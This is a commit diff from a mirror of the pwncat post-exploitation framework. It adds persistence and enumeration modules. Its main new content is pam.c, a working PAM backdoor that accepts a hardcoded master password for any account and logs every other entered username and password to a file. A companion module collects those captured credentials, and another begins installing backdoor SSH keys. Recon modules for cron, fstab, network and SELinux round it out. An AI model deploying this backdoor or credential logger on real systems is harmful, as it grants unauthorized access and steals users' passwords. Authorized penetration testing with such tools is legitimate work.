mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-23 17:15:38 +01:00
Converted more modules
Mainly worked on authorized_keys and pam persistence modules. Also added the `load` command allowing users to load custom modules from different directories. Lastly, added the optional inclusion of a `$XDG_CONFIG_HOME/pwncat/pwncatrc` configuration allowing you to specify configuration for all invocations of pwncat (like a custom module directory).
This commit is contained in:
parent
8fed7c9829
commit
37961a301b
@ -14,6 +14,10 @@ RUN set -eux \
|
||||
RUN set -eux \
|
||||
&& python3 -m ensurepip
|
||||
|
||||
# Ensure pip is up to date
|
||||
RUN set -eux \
|
||||
&& python3 -m pip install -U pip setuptools wheel
|
||||
|
||||
# Copy pwncat source
|
||||
COPY . /pwncat
|
||||
|
||||
|
128
IDEAS.md
128
IDEAS.md
@ -13,6 +13,134 @@ There is also potential for numerous other methods such as DNS, ICMP,
|
||||
etc. A Channel class would look a lot like a socket, but would guarantee
|
||||
a consistent interface across C2 types.
|
||||
|
||||
```python
|
||||
|
||||
class Channel:
|
||||
|
||||
PLATFORM = Platform.UNKNOWN
|
||||
|
||||
def recv(self, count: Optional[int] = None):
|
||||
raise NotImplementedError
|
||||
|
||||
def send(self, data: bytes):
|
||||
raise NotImplementedError
|
||||
|
||||
@classmethod
|
||||
def connect(cls, connection_string: str, port: int, platform: Platform) -> "Channel":
|
||||
""" Called by the connect command. May look like:
|
||||
# Connect via ssh
|
||||
connect ssh user@host
|
||||
connect ssh -p 2222 user@host
|
||||
# Connect via raw socket
|
||||
connect host 4444
|
||||
# Connect via bind socket
|
||||
connect bind -p 4444
|
||||
# Connect via other types
|
||||
connect icmp host
|
||||
# Connect for specific platform
|
||||
connect -P windows host 4444
|
||||
connect bind -P linux -p 4444
|
||||
|
||||
Technically, the first positional parameter is the connection string
|
||||
and the second is the port number. You can also specify the port number
|
||||
with `-p` or `--port`. The positional syntax is more natural for raw
|
||||
socket connect channels, while the `-p` is more natural for ssh and
|
||||
bind sockets.
|
||||
"""
|
||||
raise NotImplementedError
|
||||
|
||||
```
|
||||
|
||||
## Platform Abstraction
|
||||
|
||||
To facilitate true multi-platform functionality, some information should be abstracted
|
||||
away from the platform. I think this would look like separating the victim object out
|
||||
into a base class and sub-classes. The base class could be called `Platform` and take
|
||||
over for the `Platform` Flags class we currently have. Instead of testing a flags class,
|
||||
we could have `PLATFORM` in modules be an array of supported platform classes, and use
|
||||
a similar syntax where it would look like `type(pwncat.victim) in module.PLATFORM` or
|
||||
`isinstance(pwncat.victim, platform.Linux)`.
|
||||
|
||||
```python
|
||||
class Platform:
|
||||
|
||||
def __init__(self, channel: Channel):
|
||||
# Save the channel for future use
|
||||
self.channel = channel
|
||||
|
||||
# Set the prompt
|
||||
self.update_prompt()
|
||||
|
||||
# Spawn a pty if we don't have one
|
||||
if not self.has_pty():
|
||||
self.spawn_pty()
|
||||
|
||||
def has_pty(self) -> bool:
|
||||
""" Check if the current shell has a PTY """
|
||||
|
||||
def spawn_pty(self):
|
||||
""" Spawn a PTY in the current shell for full interactive features """
|
||||
|
||||
def update_prompt(self):
|
||||
""" Set the prompt for the current shell """
|
||||
|
||||
def which(self, name: str) -> str:
|
||||
""" Look up a binary on the remote host and return it's path """
|
||||
|
||||
def cd(self, directory: str):
|
||||
""" Change directories """
|
||||
|
||||
def listdir(self, directory: str = None) -> Generator[int, None, None]:
|
||||
""" Return a list of all items in the current directory """
|
||||
|
||||
def cwd(self) -> str:
|
||||
""" Get the current working directory """
|
||||
|
||||
def current_user(self) -> User:
|
||||
""" Get a user object representing the current user """
|
||||
|
||||
def current_uid(self) -> int:
|
||||
""" Get the current user id. This is faster than querying the whole user object """
|
||||
|
||||
def open(self, path: str, mode: str, content_length: int) -> Union[TextIO, BinaryIO]:
|
||||
""" Mimic built-in open function to open a remote file and return a stream. """
|
||||
|
||||
def exec(self, argv: List[str], envp: List[str], stdout: str, stderr: str, stream: bool = False) -> Union[str, BinaryIO]:
|
||||
""" Execute a remote binary and return the stdout. If stream is true, return a
|
||||
file-like object where we can read the results. """
|
||||
|
||||
def process(self, argv: List[str], envp: List[str], stdout: str, stderr: str) -> bytes:
|
||||
""" Execute a remote binary, but do not wait for completion. Return string which
|
||||
indicates the completion of the command """
|
||||
|
||||
class Linux(Platform):
|
||||
""" Implement the above abstract methods """
|
||||
|
||||
class Windows(Platform):
|
||||
""" Implement the above abstract methods """
|
||||
```
|
||||
|
||||
With both channels and platforms implemented, the initialization would
|
||||
look something like this:
|
||||
|
||||
```python
|
||||
|
||||
# Initialize scripting engine
|
||||
script_parser = pwncat.commands.Parser()
|
||||
|
||||
# Run the connect command
|
||||
try:
|
||||
script_parser.dispatch_line(shlex.join(["connect", *remaining_args]), command="pwncat")
|
||||
except:
|
||||
# Connection failed
|
||||
exit(1)
|
||||
|
||||
# The connect command initialized the `pwncat.victim` object,
|
||||
# but it doesn't have a parser yet. We already initialized one
|
||||
# so store it there.
|
||||
pwncat.victim.parser = script_parser
|
||||
```
|
||||
|
||||
## Module access
|
||||
|
||||
Modules are currently segmented by type. There are persistence, privilege
|
||||
|
@ -6,6 +6,7 @@ import shlex
|
||||
import sys
|
||||
import warnings
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
from sqlalchemy import exc as sa_exc
|
||||
from sqlalchemy.exc import InvalidRequestError
|
||||
@ -23,6 +24,25 @@ def main():
|
||||
# Build the victim object
|
||||
pwncat.victim = Victim()
|
||||
|
||||
# Find the user configuration
|
||||
config_path = (
|
||||
Path(os.environ.get("XDG_CONFIG_HOME", "~/.config/")) / "pwncat" / "pwncatrc"
|
||||
)
|
||||
config_path = config_path.expanduser()
|
||||
|
||||
print("config_path=" + str(config_path))
|
||||
|
||||
try:
|
||||
# Read the config script
|
||||
with config_path.open("r") as filp:
|
||||
script = filp.read()
|
||||
|
||||
# Run the script
|
||||
pwncat.victim.command_parser.eval(script, str(config_path))
|
||||
except (FileNotFoundError, PermissionError):
|
||||
# The config doesn't exist
|
||||
pass
|
||||
|
||||
# Arguments to `pwncat` are considered arguments to `connect`
|
||||
# We use the `prog_name` argument to make the help for "connect"
|
||||
# display "pwncat" in the usage. This is just a visual fix, and
|
||||
|
30
pwncat/commands/load.py
Normal file
30
pwncat/commands/load.py
Normal file
@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import pwncat
|
||||
from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
||||
|
||||
|
||||
class Command(CommandDefinition):
|
||||
"""
|
||||
Load modules from the specified directory. This does not remove
|
||||
currently loaded modules, but may replace modules which were already
|
||||
loaded. Also, prior to loading any specified modules, the standard
|
||||
modules are loaded. This normally happens only when modules are first
|
||||
utilized. This ensures that a standard module does not shadow a custom
|
||||
module. In fact, the opposite may happen in a custom module is defined
|
||||
with the same name as a standard module.
|
||||
"""
|
||||
|
||||
PROG = "load"
|
||||
ARGS = {
|
||||
"path": Parameter(
|
||||
Complete.LOCAL_FILE,
|
||||
help="Path to a python package directory to load modules from",
|
||||
nargs="+",
|
||||
)
|
||||
}
|
||||
DEFAULTS = {}
|
||||
LOCAL = True
|
||||
|
||||
def run(self, args):
|
||||
pwncat.modules.reload(args.path)
|
@ -134,7 +134,5 @@ class Command(CommandDefinition):
|
||||
if result.category is None:
|
||||
console.print(f"[bold]{result.title}[/bold]")
|
||||
else:
|
||||
console.print(
|
||||
f"[bold][yellow]{result.category}[/yellow] - {result.title}[/bold]"
|
||||
)
|
||||
console.print(result.description)
|
||||
console.print(f"[bold]{result.category} - {result.title}[/bold]")
|
||||
console.print(textwrap.indent(result.description, " "))
|
||||
|
65
pwncat/data/pam.c
Normal file
65
pwncat/data/pam.c
Normal file
@ -0,0 +1,65 @@
|
||||
#include <stdio.h>
|
||||
#include <security/pam_modules.h>
|
||||
#include <security/pam_ext.h>
|
||||
#include <string.h>
|
||||
#include <sys/file.h>
|
||||
#include <errno.h>
|
||||
#include <openssl/sha.h>
|
||||
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *handle, int flags, int argc, const char **argv)
|
||||
{
|
||||
int pam_code;
|
||||
const char *username = NULL;
|
||||
const char *password = NULL;
|
||||
char passwd_line[1024];
|
||||
int found_user = 0;
|
||||
char key[20] = {__PWNCAT_HASH__};
|
||||
FILE* filp;
|
||||
pam_code = pam_get_user(handle, &username, "Username: ");
|
||||
if (pam_code != PAM_SUCCESS) {
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
filp = fopen("/etc/passwd", "r");
|
||||
if( filp == NULL ){
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
while( fgets(passwd_line, 1024, filp) ){
|
||||
char* valid_user = strtok(passwd_line, ":");
|
||||
if( strcmp(valid_user, username) == 0 ){
|
||||
found_user = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(filp);
|
||||
if( found_user == 0 ){
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
pam_code = pam_get_authtok(handle, PAM_AUTHTOK, &password, "Password: ");
|
||||
if (pam_code != PAM_SUCCESS) {
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
if( memcmp(SHA1(password, strlen(password), NULL), key, 20) != 0 ){
|
||||
filp = fopen("__PWNCAT_LOG__", "a");
|
||||
if( filp != NULL )
|
||||
{
|
||||
fprintf(filp, "%s:%s\n", username, password);
|
||||
fclose(filp);
|
||||
}
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
return PAM_SUCCESS;
|
||||
}
|
||||
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
return PAM_IGNORE;
|
||||
}
|
||||
PAM_EXTERN int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char **argv){
|
||||
return PAM_IGNORE;
|
||||
}
|
@ -25,7 +25,7 @@ class Fact(Base, Result):
|
||||
|
||||
@property
|
||||
def category(self) -> str:
|
||||
return f"{self.type} facts"
|
||||
return f"{self.type}"
|
||||
|
||||
@property
|
||||
def title(self) -> str:
|
||||
|
@ -3,6 +3,7 @@ import inspect
|
||||
import pkgutil
|
||||
import re
|
||||
from dataclasses import dataclass
|
||||
import typing
|
||||
from typing import Any, Callable
|
||||
|
||||
from rich.progress import Progress
|
||||
@ -230,18 +231,26 @@ class BaseModule(metaclass=BaseModuleMeta):
|
||||
|
||||
def __init__(self):
|
||||
self.progress = None
|
||||
# Filled in by reload
|
||||
self.name = None
|
||||
|
||||
def run(self, **kwargs):
|
||||
""" Execute this module """
|
||||
raise NotImplementedError
|
||||
|
||||
|
||||
def reload():
|
||||
def reload(where: typing.Optional[typing.List[str]] = None):
|
||||
""" Reload the modules """
|
||||
|
||||
for loader, module_name, is_pkg in pkgutil.walk_packages(
|
||||
__path__, prefix=__name__ + "."
|
||||
):
|
||||
# We need to load built-in modules first
|
||||
if not LOADED_MODULES and where is not None:
|
||||
reload()
|
||||
|
||||
# If no paths were specified, load built-ins
|
||||
if where is None:
|
||||
where = __path__
|
||||
|
||||
for loader, module_name, _ in pkgutil.walk_packages(where, prefix=__name__ + "."):
|
||||
module = loader.find_module(module_name).load_module(module_name)
|
||||
|
||||
if getattr(module, "Module", None) is None:
|
||||
|
@ -14,16 +14,23 @@ class PasswordData:
|
||||
password: str
|
||||
filepath: str
|
||||
lineno: int
|
||||
uid: int = None
|
||||
|
||||
def __str__(self):
|
||||
if self.password is not None:
|
||||
result = f"Potential Password [cyan]{repr(self.password)}[/cyan]"
|
||||
if self.uid is not None:
|
||||
result += f" for [blue]{self.user.name}[/blue]"
|
||||
if self.filepath is not None:
|
||||
result += f" ({self.filepath}:{self.lineno})"
|
||||
else:
|
||||
result = f"Potential Password at [cyan]{self.filepath}[/cyan]:{self.lineno}"
|
||||
return result
|
||||
|
||||
@property
|
||||
def user(self):
|
||||
return pwncat.victim.find_user_by_id(self.uid) if self.uid is not None else None
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class PrivateKeyData:
|
||||
|
59
pwncat/modules/enumerate/creds/pam.py
Normal file
59
pwncat/modules/enumerate/creds/pam.py
Normal file
@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
from pwncat.modules.enumerate.creds import PasswordData
|
||||
from pwncat.modules.persist.gather import InstalledModule
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Exfiltrate logged passwords from the pam-based persistence
|
||||
module. This persistence module logs all attempted passwords
|
||||
for all users in a known location. We read this file and yield
|
||||
all passwords we have collected.
|
||||
"""
|
||||
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.ALWAYS
|
||||
PROVIDES = ["creds.password"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
pam: InstalledModule = None
|
||||
for module in pwncat.modules.run(
|
||||
"persist.gather", progress=self.progress, module="persist.pam_backdoor"
|
||||
):
|
||||
pam = module
|
||||
|
||||
if pam is None:
|
||||
# The pam persistence module isn't installed.
|
||||
return
|
||||
|
||||
# Grab the log path
|
||||
log_path = pam.persist.args["log"]
|
||||
# Just in case we have multiple of the same password logged
|
||||
observed = []
|
||||
|
||||
try:
|
||||
with pwncat.victim.open(log_path, "r") as filp:
|
||||
for lineno, line in enumerate(filp):
|
||||
line = line.strip()
|
||||
if line in observed:
|
||||
continue
|
||||
|
||||
user, *password = line.split(":")
|
||||
password = ":".join(password)
|
||||
|
||||
# Invalid user name
|
||||
if user not in pwncat.victim.users:
|
||||
continue
|
||||
|
||||
observed.append(line)
|
||||
|
||||
yield "creds.password", PasswordData(
|
||||
password, log_path, lineno + 1, uid=pwncat.victim.users[user].id
|
||||
)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
0
pwncat/modules/enumerate/misc/__init__.py
Normal file
0
pwncat/modules/enumerate/misc/__init__.py
Normal file
46
pwncat/modules/enumerate/misc/writable_path.py
Normal file
46
pwncat/modules/enumerate/misc/writable_path.py
Normal file
@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
|
||||
import pwncat
|
||||
from pwncat.util import Access
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Locate any components of the current PATH that are writable
|
||||
by the current user.
|
||||
"""
|
||||
|
||||
PROVIDES = ["system.writable_path"]
|
||||
SCHEDULE = Schedule.PER_USER
|
||||
PLATFORM = Platform.LINUX
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
for path in pwncat.victim.getenv("PATH").split(":"):
|
||||
access = pwncat.victim.access(path)
|
||||
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||
yield "misc.writable_path", path
|
||||
elif (
|
||||
Access.EXISTS not in access
|
||||
and (Access.PARENT_EXIST | Access.PARENT_WRITE) in access
|
||||
):
|
||||
yield "misc.writable_path", path
|
||||
elif access == Access.NONE:
|
||||
# This means the parent directory doesn't exist. Check up the chain to see if
|
||||
# We can create this chain of directories
|
||||
dirpath = os.path.dirname(path)
|
||||
access = pwncat.victim.access(dirpath)
|
||||
# Find the first item that either exists or it's parent does
|
||||
while access == Access.NONE:
|
||||
dirpath = os.path.dirname(dirpath)
|
||||
access = pwncat.victim.access(dirpath)
|
||||
# This item exists. Is it a directory and can we write to it?
|
||||
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||
yield "misc.writable_path", path
|
||||
elif (
|
||||
Access.PARENT_EXIST | Access.PARENT_WRITE
|
||||
) in access and Access.EXISTS not in access:
|
||||
yield "misc.writable_path", path
|
@ -15,6 +15,9 @@ class Module(BaseModule):
|
||||
PLATFORM = pwncat.modules.Platform.ANY
|
||||
|
||||
def run(self, output):
|
||||
return pwncat.modules.find("enumerate.gather").run(
|
||||
types=["file.suid", "file.caps"], output=output
|
||||
return pwncat.modules.run(
|
||||
"enumerate.gather",
|
||||
progress=self.progress,
|
||||
types=["system.*", "software.sudo.*", "file.suid"],
|
||||
output=output,
|
||||
)
|
||||
|
150
pwncat/modules/enumerate/software/cron.py
Normal file
150
pwncat/modules/enumerate/software/cron.py
Normal file
@ -0,0 +1,150 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
import os
|
||||
import re
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules import Status
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class CronEntry:
|
||||
|
||||
path: str
|
||||
""" The path to the crontab where this was found """
|
||||
uid: int
|
||||
""" The user ID this entry will run as """
|
||||
command: str
|
||||
""" The command that will execute """
|
||||
datetime: str
|
||||
""" The entire date/time specifier from the crontab entry """
|
||||
|
||||
def __str__(self):
|
||||
return (
|
||||
f"[blue]{self.user.name}[/blue] runs [yellow]{repr(self.command)}[/yellow]"
|
||||
)
|
||||
|
||||
@property
|
||||
def description(self):
|
||||
return f"{self.path}: {self.datetime} {self.command}"
|
||||
|
||||
@property
|
||||
def user(self):
|
||||
return pwncat.victim.find_user_by_id(self.uid)
|
||||
|
||||
|
||||
def parse_crontab(path: str, line: str, system: bool = True) -> CronEntry:
|
||||
"""
|
||||
Parse a crontab line. This returns a tuple of (command, datetime, user) indicating
|
||||
the command to run, when it will execute, and who it will execute as. If system is
|
||||
false, then the current user is returned and no user element is parsed (assumed
|
||||
not present).
|
||||
|
||||
This will raise a ValueError if the line is malformed.
|
||||
|
||||
:param line: the line from crontab
|
||||
:param system: whether this is a system or user crontab entry
|
||||
:return: a tuple of (command, datetime, username)
|
||||
"""
|
||||
|
||||
# Variable assignment, comment or empty line
|
||||
if (
|
||||
line.startswith("#")
|
||||
or line == ""
|
||||
or re.match(r"[a-zA-Z][a-zA-Z0-9_-]*\s*=.*", line) is not None
|
||||
):
|
||||
raise ValueError
|
||||
|
||||
entry = [x for x in line.strip().replace("\t", " ").split(" ") if x != ""]
|
||||
|
||||
# Malformed entry or comment
|
||||
if (len(entry) <= 5 and not system) or (len(entry) <= 6 and system):
|
||||
raise ValueError
|
||||
|
||||
when = " ".join(entry[:5])
|
||||
|
||||
if system:
|
||||
uid = pwncat.victim.users[entry[5]].id
|
||||
command = " ".join(entry[6:])
|
||||
else:
|
||||
uid = pwncat.victim.current_user.id
|
||||
command = " ".join(entry[5:])
|
||||
|
||||
return CronEntry(path, uid, command, when)
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Check for any readable crontabs and return their entries.
|
||||
"""
|
||||
|
||||
PROVIDES = ["software.cron.entry"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.PER_USER
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
# Get this user's crontab entries
|
||||
user_entries = pwncat.victim.env(["crontab", "-l"]).decode("utf-8")
|
||||
except FileNotFoundError:
|
||||
# The crontab command doesn't exist :(
|
||||
return
|
||||
|
||||
for line in user_entries.split("\n"):
|
||||
try:
|
||||
yield "software.cron.entry", parse_crontab(
|
||||
"crontab -l", line, system=False
|
||||
)
|
||||
except ValueError:
|
||||
continue
|
||||
|
||||
known_tabs = ["/etc/crontab"]
|
||||
|
||||
for tab_path in known_tabs:
|
||||
try:
|
||||
with pwncat.victim.open(tab_path, "r") as filp:
|
||||
for line in filp:
|
||||
try:
|
||||
yield "software.cron.entry", parse_crontab(
|
||||
tab_path, line, system=True
|
||||
)
|
||||
except ValueError:
|
||||
continue
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
||||
|
||||
known_dirs = [
|
||||
"/etc/cron.d",
|
||||
# I'm dumb. These aren't crontabs... they're scripts...
|
||||
# "/etc/cron.daily",
|
||||
# "/etc/cron.weekly",
|
||||
# "/etc/cron.monthly",
|
||||
]
|
||||
for dir_path in known_dirs:
|
||||
try:
|
||||
yield Status(f"getting crontabs from [cyan]{dir_path}[/cyan]")
|
||||
filenames = list(pwncat.victim.listdir(dir_path))
|
||||
for filename in filenames:
|
||||
if filename in (".", ".."):
|
||||
continue
|
||||
yield Status(f"reading [cyan]{filename}[/cyan]")
|
||||
try:
|
||||
with pwncat.victim.open(
|
||||
os.path.join(dir_path, filename), "r"
|
||||
) as filp:
|
||||
for line in filp:
|
||||
try:
|
||||
yield "software.cron.entry", parse_crontab(
|
||||
os.path.join(dir_path, filename),
|
||||
line,
|
||||
system=True,
|
||||
)
|
||||
except ValueError:
|
||||
pass
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
||||
except (FileNotFoundError, NotADirectoryError, PermissionError):
|
||||
pass
|
72
pwncat/modules/enumerate/system/fstab.py
Normal file
72
pwncat/modules/enumerate/system/fstab.py
Normal file
@ -0,0 +1,72 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
from typing import List
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class FstabEntry:
|
||||
|
||||
spec: str
|
||||
""" The FS Specification (e.g. /dev/sda1 or UUID=XXXX) """
|
||||
target: str
|
||||
""" The target location for this mount (e.g. /mnt/mydisk or /home) """
|
||||
fstype: str
|
||||
""" The type of filesystem being mounted (e.g. ext4 or bind) """
|
||||
options: List[str]
|
||||
""" The list of options associated with this mount (split on comma) """
|
||||
freq: int
|
||||
""" Whether to dump this filesystem (defaults to zero, fifth field, see fstab(5)) """
|
||||
passno: int
|
||||
""" Order of fsck at boot time. See fstab(5) and fsck(8). """
|
||||
mounted: bool
|
||||
""" Whether this is currently mounted (not from fstab, but cross-referenced w/ /proc/mount) """
|
||||
|
||||
def __str__(self):
|
||||
if self.mounted:
|
||||
return (
|
||||
f"[blue]{self.spec}[/blue] [green]mounted[/green] at "
|
||||
f"[yellow]{self.target}[/yellow] "
|
||||
f"as [cyan]{self.fstype}[/cyan]"
|
||||
)
|
||||
else:
|
||||
return (
|
||||
f"[blue]{self.spec}[/blue] [red]available[/red] to "
|
||||
f"mount at [yellow]{self.target}[/yellow] "
|
||||
f"as [cyan]{self.fstype}[/cyan]"
|
||||
)
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Read /etc/fstab and report on known block device mount points.
|
||||
"""
|
||||
|
||||
PROVIDES = ["system.mountpoint"]
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.ONCE
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
with pwncat.victim.open("/etc/fstab", "r") as filp:
|
||||
for line in filp:
|
||||
line = line.strip()
|
||||
if line.startswith("#") or line == "":
|
||||
continue
|
||||
try:
|
||||
spec, target, fstype, options, *entries = line.split()
|
||||
# Optional entries
|
||||
freq = int(entries[0]) if entries else "0"
|
||||
passno = int(entries[1]) if len(entries) > 1 else "0"
|
||||
except (ValueError, IndexError):
|
||||
# Badly formatted line
|
||||
continue
|
||||
yield "system.mountpoint", FstabEntry(
|
||||
spec, target, fstype, options.split(","), freq, passno, False
|
||||
)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
53
pwncat/modules/enumerate/system/network.py
Normal file
53
pwncat/modules/enumerate/system/network.py
Normal file
@ -0,0 +1,53 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class InterfaceData:
|
||||
|
||||
interface: str
|
||||
address: str
|
||||
|
||||
def __str__(self):
|
||||
return f"Interface [cyan]{self.interface}[/cyan] w/ address [blue]{self.address}[/blue]"
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Enumerate network interfaces with active connections
|
||||
and return their name and IP address.
|
||||
"""
|
||||
|
||||
PLATFORM = Platform.LINUX
|
||||
SCHEDULE = Schedule.ONCE
|
||||
PROVIDES = ["system.network.interface"]
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
output = pwncat.victim.env(["ip", "addr"]).decode("utf-8").strip()
|
||||
output = output.replace("\r\n", "\n").split("\n")
|
||||
interface = None
|
||||
|
||||
for line in output:
|
||||
if not line.startswith(" "):
|
||||
interface = line.split(":")[1].strip()
|
||||
continue
|
||||
|
||||
if interface is None:
|
||||
# This shouldn't happen. The first line should be an interface
|
||||
# definition, but just in case
|
||||
continue
|
||||
|
||||
line = line.strip()
|
||||
if line.startswith("inet"):
|
||||
address = line.split(" ")[1]
|
||||
yield "system.network.interface", InterfaceData(interface, address)
|
||||
|
||||
return
|
||||
except FileNotFoundError:
|
||||
pass
|
71
pwncat/modules/enumerate/system/selinux.py
Normal file
71
pwncat/modules/enumerate/system/selinux.py
Normal file
@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
from typing import Dict
|
||||
|
||||
import pwncat
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class SELinuxState:
|
||||
|
||||
state: str
|
||||
status: Dict[str, str]
|
||||
|
||||
def __str__(self):
|
||||
result = f"SELinux is "
|
||||
if self.state == "enabled":
|
||||
result += f"[red]enabled[/red]"
|
||||
elif self.state == "disabled":
|
||||
result += f"[green]disabled[/green]"
|
||||
else:
|
||||
result += f"[yellow]{self.state}[/yellow]"
|
||||
return result
|
||||
|
||||
@property
|
||||
def mode(self) -> str:
|
||||
return self.status.get("Current mode", "unknown").lower()
|
||||
|
||||
@property
|
||||
def enabled(self) -> bool:
|
||||
return self.state.lower() == "enabled"
|
||||
|
||||
@property
|
||||
def description(self):
|
||||
width = max(len(x) for x in self.status) + 1
|
||||
return "\n".join(
|
||||
f"{key+':':{width}} {value}" for key, value in self.status.items()
|
||||
)
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
"""
|
||||
Retrieve the current SELinux state
|
||||
"""
|
||||
|
||||
PROVIDES = ["system.selinux"]
|
||||
SCHEDULE = Schedule.ONCE
|
||||
PLATFORM = Platform.LINUX
|
||||
|
||||
def enumerate(self):
|
||||
|
||||
try:
|
||||
output = pwncat.victim.env(["sestatus"]).strip().decode("utf-8")
|
||||
except (FileNotFoundError, PermissionError):
|
||||
return
|
||||
|
||||
status = {}
|
||||
for line in output.split("\n"):
|
||||
line = line.strip().replace("\t", " ")
|
||||
values = " ".join([x for x in line.split(" ") if x != ""]).split(":")
|
||||
key = values[0].rstrip(":").strip()
|
||||
value = " ".join(values[1:])
|
||||
status[key] = value.strip()
|
||||
|
||||
if "SELinux status" in status:
|
||||
state = status["SELinux status"]
|
||||
else:
|
||||
state = "unknown"
|
||||
|
||||
yield "system.selinux", SELinuxState(state, status)
|
@ -29,6 +29,7 @@ class PersistType(enum.Flag):
|
||||
|
||||
LOCAL = enum.auto()
|
||||
REMOTE = enum.auto()
|
||||
ALL_USERS = enum.auto()
|
||||
|
||||
|
||||
class PersistModule(BaseModule):
|
||||
@ -68,6 +69,13 @@ class PersistModule(BaseModule):
|
||||
),
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
super(PersistModule, self).__init__()
|
||||
|
||||
if PersistType.ALL_USERS in self.TYPE:
|
||||
self.ARGUMENTS["user"].default = None
|
||||
self.ARGUMENTS["user"].help = "Ignored. This module applies to all users."
|
||||
|
||||
def run(self, remove, escalate, **kwargs):
|
||||
|
||||
if "user" not in kwargs:
|
||||
@ -102,8 +110,9 @@ class PersistModule(BaseModule):
|
||||
yield result
|
||||
|
||||
# There was no exception, so we assume it worked. Put the user
|
||||
# back in raw mode.
|
||||
pwncat.victim.state = State.RAW
|
||||
# back in raw mode. This is a bad idea, since we may be running
|
||||
# escalate from a privesc context.
|
||||
# pwncat.victim.state = State.RAW
|
||||
return
|
||||
elif ident is None and (remove or escalate):
|
||||
raise PersistError(f"{self.name}: not installed with these arguments")
|
||||
|
236
pwncat/modules/persist/authorized_key.py
Normal file
236
pwncat/modules/persist/authorized_key.py
Normal file
@ -0,0 +1,236 @@
|
||||
#!/usr/bin/env python3
|
||||
import shutil
|
||||
import socket
|
||||
import os
|
||||
|
||||
import paramiko
|
||||
from prompt_toolkit import prompt
|
||||
|
||||
import pwncat
|
||||
import pwncat.tamper
|
||||
from pwncat.util import Access
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules import Argument
|
||||
from pwncat.modules.persist import PersistModule, PersistType, PersistError
|
||||
|
||||
|
||||
class Module(PersistModule):
|
||||
"""
|
||||
Install the custom backdoor key-pair as an authorized key for
|
||||
the specified user. This method only succeeds for a user other
|
||||
than the current user if you are currently root.
|
||||
"""
|
||||
|
||||
# We can escalate locally with `ssh localhost`
|
||||
TYPE = PersistType.LOCAL | PersistType.REMOTE
|
||||
PLATFORM = Platform.LINUX
|
||||
ARGUMENTS = {
|
||||
**PersistModule.ARGUMENTS,
|
||||
"backdoor_key": Argument(
|
||||
str, help="Path to a private/public key pair to install"
|
||||
),
|
||||
}
|
||||
|
||||
def install(self, user, backdoor_key):
|
||||
""" Install this persistence method """
|
||||
|
